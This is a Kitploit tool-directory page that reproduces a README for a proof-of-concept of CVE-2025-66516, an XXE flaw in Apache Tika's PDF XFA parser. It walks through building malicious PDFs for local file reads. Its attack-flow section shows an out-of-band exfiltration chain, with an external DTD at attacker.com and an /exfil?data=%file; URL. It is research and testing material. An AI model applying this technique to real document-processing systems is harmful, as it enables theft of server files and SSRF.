Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66516-POC — A POC for the CVE-2025-66516 Apache Tika Vulnerability for educational purposes only | Kitploit
Tools/GitHubGitHub/sid6224/cve-2025-66516-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

A POC for the CVE-2025-66516 Apache Tika Vulnerability for educational purposes only

View Repository
618 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

⚠️ READ DISCLAIMER BEFORE USE ⚠️

Educational/Authorized Testing Only | License | Security Policy


CVE Tika Severity XXE License Platform Java


About This POC

This repository contains a proof-of-concept (POC) exploit for CVE-2025-66516, an XML External Entity (XXE) injection vulnerability in Apache Tika versions prior to 3.2.2. The vulnerability affects the XFA (XML Forms Architecture) parser in the tika-parser-pdf-module component, allowing attackers to read local files and exfiltrate sensitive data through maliciously crafted PDF documents.

What is CVE-2025-66516?

CVE-2025-66516 is a critical security vulnerability in Apache Tika's PDF parsing functionality. When processing PDF files with embedded XFA forms, Tika versions before 3.2.2 fail to properly restrict external entity processing in XML parsers. This allows attackers to:

  • Read arbitrary files from the server filesystem (local file disclosure)
  • Exfiltrate sensitive data to external servers (out-of-band XXE)
  • Perform SSRF attacks by triggering requests to internal network resources
  • Bypass security controls in applications that rely on Tika for document processing

Vulnerability Details

  • CVE ID: CVE-2025-66516
  • Affected Component: Apache Tika tika-parser-pdf-module
  • Affected Versions: Apache Tika < 3.2.2
  • Patched Version: Apache Tika 3.2.2 and later
  • Attack Vector: Maliciously crafted PDF with XFA forms containing XXE payloads
  • Impact: Confidentiality breach, data exfiltration, server-side request forgery (SSRF)
  • CVSS Severity: High
  • Related CVE: CVE-2025-32370 (similar XXE vulnerability in Tika)

Repository Contents

This repository includes:

  • gen_poc.py - Python script to generate malicious PDFs for local file read XXE attacks
  • gen_oob_poc.py - Python script to generate PDFs for out-of-band data exfiltration
  • http_listener.py - HTTP server to demonstrate OOB XXE data exfiltration
  • DocumentProcessor.java - Sample Java application showing vulnerable Tika integration
  • Complete step-by-step reproduction guide with expected outputs
  • Technical analysis comparing vulnerable vs patched versions
  • Attack flow documentation explaining the exploitation mechanism

Keywords

Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability


Tested Environment

Note: This POC has been tested and verified on:

  • Apache Tika Versions: 3.2.1 (vulnerable) and 3.2.2 (patched)
  • Operating System: Linux - Ubuntu 24.04.3 LTS
  • Java Version: OpenJDK 17.0.17

Setup POC Directory

First, create a dedicated directory for the POC to keep all files organized.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Environment Verification

Before proceeding with the POC, verify your environment has the required dependencies. These commands will display your Java compiler/runtime versions and OS details, which are important for reproducing the vulnerability.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Expected Output: You should see Java version information (e.g., OpenJDK 17.x.x) and Ubuntu version details (24.04.3 LTS).

Download Apache Tika JARs

Download both the vulnerable (3.2.1) and patched (3.2.2) versions of Apache Tika. We need both versions to demonstrate that the XXE vulnerability exists in 3.2.1 and is fixed in 3.2.2. The tika-app JAR is an all-in-one executable that includes all Tika parsers and dependencies.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Expected Output: Two JAR files will be downloaded - tika-app-3.2.1.jar (~75MB) and tika-app-3.2.2.jar (~75MB).

Verify Component Versions

Verify the exact versions by inspecting the JAR manifest files. This confirms we have the correct vulnerable and patched versions before testing.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Expected Output: Manifest files showing Implementation-Version: 3.2.1 and 3.2.2 respectively, along with build timestamps and other metadata.

List Component POM Properties

If we look at the Project Object Models (Maven's POM properties define a project's dependencies, build configuration, and metadata.), we see there are no separate tika-parsers as mentioned in the security advisories - could be a version related thing and the assumption is in versions 3.2.1 and 3.2.2, which are part of the POC, the tika-parsers module were replaced by individual parser modules.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Expected Output: A list of all Tika component modules including tika-core, tika-parser-pdf-module, tika-xmp, etc. You'll notice individual parser modules rather than a single tika-parsers module.

Check Tika Component Versions

Extract and display the version information for core Tika components. This helps us understand the internal module structure and confirm that both the core library and PDF parser module are at the expected versions.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Expected Output: POM properties showing version=3.2.1 or version=3.2.2 for each component, separated by ---. All three components (tika-core, tika-parser-pdf-module, tika-app) should match the overall version.

Create Target File for XXE Exploitation

Create a fake secrets file that will be the target of our XXE attack. This file simulates sensitive data (like API keys or credentials) that an attacker might try to exfiltrate through the XXE vulnerability.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Expected Output: A file named fake-secrets.txt containing the string INTERNAL_SERVER_KEY=EXPOSED. This will be read by the XXE exploit.

Code Analysis: Compare Vulnerable vs Patched

To understand the fix, we need to decompile and compare the XMLReaderUtils class from both versions. This class is responsible for creating XML parsers, and the vulnerability stems from how it configures XML entity processing.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Expected Output: The extraction creates two directories with decompiled class files. The javap command generates bytecode disassembly of the XMLReaderUtils class. The diff command will show differences in how the XML parser is configured between versions.

Identify The Fix

If we compare carefully we find any Doctype definition (DTD) and external Entities support is disabled in 3.2.2 - this is the crux of the fix:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Expected Output: You'll see diff output showing that version 3.2.2 adds calls to disable DTD processing and external entity resolution. Look for lines setting accessExternalDTD to empty string and supportDTD to false.

POC #1: Local File Read XXE

This demonstrates the classic XXE attack where a malicious PDF reads a local file from the server's filesystem. The Python script generates a PDF with an embedded XFA form containing XML with an XXE payload that references file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Expected Output:

  • gen_poc.py creates cve_2025_66516_poc.pdf containing the XXE payload
  • Vulnerable (3.2.1): Tika's output will include INTERNAL_SERVER_KEY=EXPOSED - the contents of the secret file!
  • Patched (3.2.2): Tika's output will NOT contain the secret data; the XXE attack is blocked

POC #2: Out-of-Band XXE

This demonstrates a more sophisticated XXE attack using out-of-band (OOB) data exfiltration. Instead of reflecting file contents in the response, the malicious PDF forces Tika to send the data to an external server controlled by the attacker. This technique works even when the application doesn't return the parsed content.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Expected Output:

  • gen_oob_poc.py creates cve-2025-66516_OOB_XXE.pdf with OOB XXE payload
  • http_listener.py starts a server on port 8888 and waits for incoming requests
  • Vulnerable (3.2.1): The HTTP listener will receive two requests:
    1. GET request for /evil.dtd (external DTD fetch)
    2. GET request to /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (data exfiltration)
  • Patched (3.2.2): No HTTP requests received; external entity processing is blocked

Application-Level Testing

This tests the vulnerability in a more realistic scenario where Tika is used as a library within a Java application (not just the command-line tool). The DocumentProcessor.java code simulates how a typical application might integrate Tika for document parsing.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Expected Output:

  • Vulnerable (3.2.1): The program will print:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Patched (3.2.2): The program will print:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

Cleanup

Remove temporary directories and files created during the analysis phase to keep the workspace clean.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Expected Output: The directories and decompiled text files will be removed. No output is displayed unless there's an error.


Understanding the Attack Flow

Local File System XXE Attack Sequence

  1. PDF contains XFA stream with DOCTYPE + ENTITY declaration
  2. Tika detects XFA → calls XFAExtractor
  3. XFAExtractor creates XML parser via XMLReaderUtils
  4. Parser processes DOCTYPE, registers xxe entity
  5. Parser encounters &xxe; reference
  6. Parser resolves entity → reads file:///fake-secrets.txt
  7. File contents inserted into XML at &xxe; location
  8. XFAExtractor extracts field value = file contents
  9. Application receives secret data in Tika output

Out-of-Band (OOB) XXE Attack Sequence

  1. PDF contains XFA with DOCTYPE declaring parameter entities (%file, %dtd)
  2. Tika detects XFA → calls XFAExtractor
  3. XFAExtractor creates XML parser via XMLReaderUtils
  4. Parser processes DOCTYPE, registers %file entity → points to file:///fake-secrets.txt
  5. Parser encounters %dtd; reference → points to http://attacker.com:8888/evil.dtd
  6. Parser makes HTTP GET request to attacker's server to fetch evil.dtd
  7. Attacker's HTTP server receives request, serves evil.dtd content
  8. Parser processes evil.dtd: defines %payload entity containing &send definition
  9. evil.dtd expands %payload → creates &send entity with exfiltration URL
  10. &send entity contains: http://attacker.com:8888/exfil?data=%file;
  11. Parser expands %file; inside &send URL → file contents inserted
  12. Parser resolves &send; entity → makes HTTP GET to exfiltration endpoint
  13. Attacker's HTTP server receives /exfil request with file contents in URL parameter
  14. Attacker extracts data from URL parameter, logs secret file contents
  15. Application output irrelevant → data already exfiltrated to attacker's server

References

Official Security Advisories

  • Apache Tika Security Page: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • MITRE CVE Database: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

Related Vulnerabilities

  • CVE-2025-54988 - Previous CVE identifier that CVE-2025-66516 replaces (same vulnerability, renumbered)
  • CVE-2025-32370 - Similar XXE vulnerability in Apache Tika
  • OWASP XXE Guide: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Technical Resources

  • Apache Tika Documentation: https://tika.apache.org/
  • XXE Attack Techniques: https://portswigger.net/web-security/xxe
  • PDF XFA Specification: Adobe XML Forms Architecture (XFA) Specification
  • Upwind Security Analysis: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (Application code reference)

Responsible Disclosure

If you discover security vulnerabilities, please report them responsibly:

  • Apache Security Team: [email protected]
  • Apache Tika Team: https://tika.apache.org/mail-lists.html

Tags

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


License

This project is licensed under the MIT License - see the LICENSE file for details.

Educational Use Only - This POC is intended for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have permission to test is illegal.


Contributing

Contributions to improve this POC or documentation are welcome! Please ensure any contributions:

  • Follow responsible disclosure practices
  • Include appropriate disclaimers
  • Do not include malicious code beyond educational demonstration
  • Maintain focus on educational value

Acknowledgments

  • Apache Tika Security Team for their work on patching this vulnerability
  • Security research community for responsible vulnerability disclosure practices
  • Contributors to this repository

Last Updated: December 2025

Download Tool
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security